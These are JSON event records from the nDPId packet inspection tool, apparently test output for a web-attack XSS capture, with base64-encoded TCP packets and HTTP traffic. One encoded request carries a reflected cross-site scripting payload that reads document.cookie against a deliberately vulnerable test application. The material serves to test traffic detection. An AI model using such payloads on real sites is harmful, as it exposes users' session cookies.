+02957{"flow_id":304,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347488,"pkt_ts_usec":160107,"pkt_caplen":1932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1932,"pkt_l4_len":1898,"pkt":"AMGxFOsxABm5CmnxCABFAAd+DGBAAEAGsC7AqAoyrBAAAQBQ4VQEZr\/9AWa0SYAYAPR+XAAAAQEICgPktakBOuQzSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI0OjQ3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye0\/jOBD\/G6T9Dj6fdMBKjbe7JwRsm1Vp4doVHCwtjzudFLmJ25o6cdZ2Wvj2N86jDc+SLRIqjj2P33jG4xl\/2Gz81jlrD\/45P0ITEwp0fnl40msjXCPk+kubkM6gg266g9MTVHc+ob5R3DeEHP2NEZ4YEx8QMp\/PnfkXR6oxGVyQOyulbtnyYU2nPE5gAux+2Pyw2Uj13IUi0s1nZNT39\/cz1ox8ozFhNIDhxkYjZIYiy1JjPxM+a+K2jAyLTG1wHzOM\/OyriQ27M8SK+Ir8CVWamebl4Li2hxHJZG40DDeCuVeJiJiiQy64uT9AF2wkmG9YgNpKao363DDU9xWPDY\/GaPum399BBweoQ8MIFbyCoWs2RK04FtynhssIbXeurls7aFZ36p\/Qxw6bMSHjEKB9bJBMcY5C8GiKFBNNrM29YHrCmMHIgDW5Eb7WGE0UGzWx4xD4C2ZzamdJSHnkpMvkqTQOW1HI+Y+HdMwITD2UNKIzS+akCwsZOrW2DOGWzmg2i5FW\/gMgtzr9fw4KnFuN3QbJKHPPkdx1djyUwT3yBdXW6zJkOHNpwGeIB01sfQcWMZV7vbRkhZTmNxo8HD9BkhqpiZBj6cTRGCMqIBBWOGppN2AFdU9U2032wHFJSfuTNS+mQcCCzCAgSERhp109FNKf2q0RHMnIB9XTJp7zKJBzB5ZSHM2tzBJnCxeswEAfuMvBbhe2rUEo7LLg7uZbBPIITl\/i2yntxJP4FfmPSbHbK81UUwsHLolX6FvQYLdvh4jA8YNJ1DksKSOJcNfY0FnpfHMIj6FKDCOvoHqeAbuH9j86lsqv6IHHAtkd86sASOmx25ZhSKMA9aJblnpkPRS+VqMqKFJ6QNG\/OF5P8YgT51sMR7XJgTMJ2IooeRM\/do85HO6endFr700SC0mDKruTc+QwLtOvNf1DYwM3VyUX5SzpuWV+ohhqt84H7W5rPSj6p+BVcKT0cKZ\/nLxXsFqJ3hAut0pOKXE9QoO2D+30znqo5oxOPV4JUsGC3WsYoT7TNlpRr1MxvT6We6e1VwlIxoBdqGegVjk7XXMrrDhV0q9ZVkW9CYcqcCyKr3dAo6vuhi5Q9I1UDyGseQWlZxGqy5XX4ZIMu7Z+hPjIpqptB\/DzaCRXqCtRYfe8ew6nYySrKaJDmZgVahY02G3Z4fttqy30VqpfEmH3JB0\/ApBXbA9qv5cLQVvCLgtB6GTsaq7brpULwcak\/ivdBZTM9bxgLgmfLSpYz5cB86hiNK+fR1KFKKIhVOvAD2VvmuKa+HeMoFuaSMD+19Egr00bcW7x9YSaLY3uZaJS5m9FZR3FSbn4x7lo+7uob8tEOhmGHMhmVCTw2c8+c20kdrOmgliUGd5YMbfLhJAobzVcqPy1FAw8PN7eOr3ofd9tt\/bOfpwd3+x+OW5dD\/avbo673R8X\/55877cv6rvd9u7nvc5e\/eqy98+fJ4dbO1\/LEgLpJ7bTcnwpp5ztfF20JABHsdQ1Sw83Jp\/dUzjwafirkGaXFUzatTw+IBqXcWWbT503rHJOdZz2rBCi7M6GGUk9W9PgWW\/hWS\/1LLRjVI2hE8VwK9Foit1fl7WI4sr4gNuDKsUw5R1BWwfmem3or4zXz1vPihhfl7caJ4ucOZ\/ymAWcpqLtV9lyXVj+Mra3y3gdT26mP+aLZOzL0F4PtRH96aRPEs+CeAPjmzRnOKlgytRTCa+qe0Jd1pFntyzUi851qKDfzX6LFPZCysvzji8YVYvT\/Fxe1PfasNCzd8mz+WGYGGP77Dw\/XHE2R3D840XOjmWcxF5BJqN2lvWXjw4HQHEZb6MXbvsZSPQmINGG4zeAlNYUfxSOaAo530I72EUrYfUhGfrsfYHpVOZKaHY3qeBjyNuCjSB\/NljoXmqmbN49aBD4QjQIeZS7EL6L4gCd2NelnAYkLingVu91+vlKwLW9PoLCiy86dCSlefDYErvrvHbFz12r5QRM7MWZvQumL3bu\/zB0UU6SFAAA"} +00433{"flow_id":304,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4350,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347488,"pkt_ts_usec":160849,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UOpAAD4GdO6sEAABwKgKMuFUAFABZrRJBGbHR4AQAR38tQAAAQEICgE65DQD5LWp"} +00948{"flow_id":304,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4351,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":170322,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzUOtAAD4Gc26sEAABwKgKMuFUAFABZrRJBGbHR4AYAR2qwQAAAQEICgE65TAD5LWpR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":304,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4352,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":173636,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceDGJAAEAGsIzAqAoyrBAAAQBQ4VQEZsdHAWa1yIAYAP19\/AAAAQEICgPktqYBOuUwSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI0OjQ4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":304,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4353,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":174373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UOxAAD4GdOysEAABwKgKMuFUAFABZrXIBGbOMYAQATnyNgAAAQEICgE65TED5Lam"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4354,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":1,"flow_first_seen":1499347489408,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57738,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":307,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":408846,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86N5AAD4G3PGsEAABwKgKMuGKAFByXg2yAAAAAKACchAWcgAAAgQFtAQCCAoBOuVsAAAAAAEDAwc="} +00444{"flow_id":307,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":408942,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4YpoWWpFcl4Ns6AScSCJ7AAAAgQFtAQCCAoD5LbhATrlbAEDAwc="} +00432{"flow_id":307,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4356,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":409729,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06N9AAD4G3PisEAABwKgKMuGKAFByXg2zaFlqRoAQAOUo9AAAAQEICgE65WwD5Lbh"} +01217{"flow_id":304,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4357,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":410297,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9UO1AAD4GcqKsEAABwKgKMuFUAFABZrXIBGbOMYAYATka\/AAAAQEICgE65WwD5LamR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjcwQUYwUE1SOUdKVDFPVzQzUFhXWUtBTk9HVjYxODRZTFdYR1VQQTA0QzNYQjUxOUI1NiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02972{"flow_id":304,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4358,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347489,"pkt_ts_usec":413282,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/DGRAAEAGsCnAqAoyrBAAAQBQ4VQEZs4xAWa4EYAYAQd+XQAAAQEICgPktuIBOuVsSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI0OjQ5IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye0\/jOBD\/G6T9Dj6fdMBJxPTYXS1sm1UfvO5g6dFCWemkyE3c1uDE2dhp4dvf2Ena8CzZIqHi2PP4jWc8nvGH9fpvnfN2\/0f3AE10KFD3snV60kZ4m5DBbpuQTr+Dro\/7Z6eo5uygnk64rwk5+I4Rnmgd7xMym82c2a4jkzHpX5A7I6Vm2PLhtrI8TqAD7H5Y\/7Bet3ruQhGpxjMyant7exlrRr5WnzAawHBtrR4yTZFh2WY\/Uz5t4LaMNIv0dv8+Zhj52VcDa3aniRHxFfkTmiimG5f9w+0vGJFM5lpdcy2Ye5WKiCV0yAXX9\/vogo0E8zULUDuRSqEe1wz1\/ITHmkdjtHnd622h\/X3UoWGECl7B0IANUTOOBfep5jJCm52rQXMLTWtObQf92WFTJmQcArQ\/6yRTnKMQPLpFCRMNrPS9YGrCmMZIgzW5Eb5SGE0SNmpgxyHwF0xn1MySkPLIscvkqTQOW1HI+Y+HdMwITD2UNKJTQ+bYhbkMZa0tQ7ihU5rNYqQS\/wGQG2X\/d0GBc6OwWycZZe45krvOjIcyuEe+oMp4XYYMZy4N+BTxoIGN78AiluReLy0ZIaX5tToPx0+QWCMVEXIsnTgaY0QFBMISRy3sBqyg7olqs8keOC4taX+y5sU0CFiQGQQEqSjsNKstIf1bszWCIxn5oPq2gWc8CuTMgSWLo7GRWeJs4IIVGOgDdznYPYZtqxMKuyy4u\/4WgTyC05f6Zko58SR+Rf5jUuyelGaqqYUDl8ZL9M1psNszQ0Tg+MEk6rRKykgq3BU2dFo63xzCY5ikmpFXUD3PgN2W+Y8OZeJX9MBjgeyO+VUAWHrstmUY0ihAJ9ENsx5ZDYWvklEVFJYeUPQuDldTPOLE+RbDUW1w4EwDtiRK3sSP3UMOh\/vEzKiV9yaNhaRBld3JOXIYl\/ZrRf\/QWMPNVclFOYs9t8xPE4bazW6\/fdxcDYr6KXgVHJYezvS\/p+8VrEaiN4TLrZJTSlyP0KDNlpneWg3VjNFbj1eCVLBgdwAj1GPKRCs66VRMr4\/l3inlVQKSMWAX6hmoVc7PVtwKIy4p6Vcsq6LehCMpcMyLr3dAo6ruhipQ9LRMHkJY8QqyZxGqy6XX4YIMu6Z+hPjIpqptB\/DzaCSXqCtRYbd73IXTMZLVFNGhTPUSNXMa7DbN8P221RR6S9UviLB7asePAOQV24Pa7+VC0JSwi0IQOhmzmus2a+VCsD6p\/Up3ASVzLS+YS8Kn8wrW82XAPJowmtfPI5mEKKIhVOvAD2WvTXEN\/DtG0C1NJGA\/OujntWk9zi0eTKjeUOhepoll\/lZU1lGclot\/nIs2v\/P6tkyk0mHIgWxKRQqfvewz10ZiN2sqiEGZ4Y0T5h4zISTKWw0XKn8lBQMPjzc3dpqHO92zi72jv\/u188HH3e714Mc\/ze\/nR1efa18+\/jgdXB9ddps7H9u7161Ptb3Wp88bW1\/LEgLpp6bTcnwpbznb+jpvSQBOwqxrFh6uT\/5yz+DA2\/BPQppdVjBp1vL4gGhcxJVpPlXesMoZVbHtWSFE2Z0JM2I9u63As97cs571LLRjNBlDJ4rhVqLRLXZ\/XdY8iivjA24PqhTNEu8A2jow12tDf6W9Xt56VsT4urzlOFnkzPgtj1nAqRVtvsqWq8Lyl7G9XcbreHIz\/TGfJ2NfhuZ62B7Rn459kngWxBsY36Q5w0kFS3TNSnhV3RPqso48u2WhXnSuwwT63ey3SGEvpLw87\/iC0WR+mp\/Li+peaRZ65i55Nj8MU61Nn53nhyvOZgiOfzzP2bGM09gryGTUzrL+4tFhHygu4030wm0\/BYneBCSacPwGkGxN8UfhiIaQsw20hV20FFYPkqHP3heYsjKXQjO7SQUfQ94WbAT5s85C91KxxOTd\/TqBL0SDkEe5C+G7KA7QqXldymlA4oICbvWTTi9fCbgy10dQePFFh46k1A8eW2J3ldeu+LlrtZyAibk4s3dB+2Ln\/g+4BvoYkhQAAA=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4363,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":308,"flow_packet_id":1,"flow_first_seen":1499347490659,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57752,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":308,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4363,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347490,"pkt_ts_usec":659748,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8roVAAD4GF0usEAABwKgKMuGYAFBT40ghAAAAAKACchD5NwAAAgQFtAQCCAoBOuakAAAAAAEDAwc="} +00444{"flow_id":308,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4364,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347490,"pkt_ts_usec":659895,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4ZjtXjkmU+NIIqAScSAXkwAAAgQFtAQCCAoD5LgaATrmpAEDAwc="} +00432{"flow_id":308,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4365,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347490,"pkt_ts_usec":660426,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0roZAAD4GF1KsEAABwKgKMuGYAFBT40gi7V45J4AQAOW2mQAAAQEICgE65qUD5Lga"} +00432{"flow_id":305,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4369,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347490,"pkt_ts_usec":747214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jahAAD4GODCsEAABwKgKMuFiAFALNGwGeZ+HIIARAOUGTQAAAQEICgE65roD5LMY"} +00432{"flow_id":305,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4370,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347490,"pkt_ts_usec":747436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PxBAAEAGhMjAqAoyrBAAAQBQ4WJ5n4cgCzRsB4ARAOMBNgAAAQEICgPkuDABOua6"} +00432{"flow_id":305,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4371,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347490,"pkt_ts_usec":747948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jalAAD4GOC+sEAABwKgKMuFiAFALNGwHeZ+HIYAQAOUBMwAAAQEICgE65rsD5Lgw"} +00432{"flow_id":306,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4378,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347492,"pkt_ts_usec":747664,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D71AAD4GthusEAABwKgKMuFwAFB2mu1oNIeQn4ARAOVR4QAAAQEICgE66K4D5LRS"} +00432{"flow_id":306,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4379,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347492,"pkt_ts_usec":747882,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KrtAAEAGmR3AqAoyrBAAAQBQ4XA0h5CfdprtaYARAONMEAAAAQEICgPkuiQBOuiu"} +00432{"flow_id":306,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4380,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347492,"pkt_ts_usec":748434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D75AAD4GthqsEAABwKgKMuFwAFB2mu1pNIeQoIAQAOVMDQAAAQEICgE66K8D5Lok"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4384,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":1,"flow_first_seen":1499347493167,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57778,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":309,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4384,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347493,"pkt_ts_usec":167254,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VdJAAD4Gb\/6sEAABwKgKMuGyAFCUXbzFAAAAAKACchBBjAAAAgQFtAQCCAoBOukXAAAAAAEDAwc="} 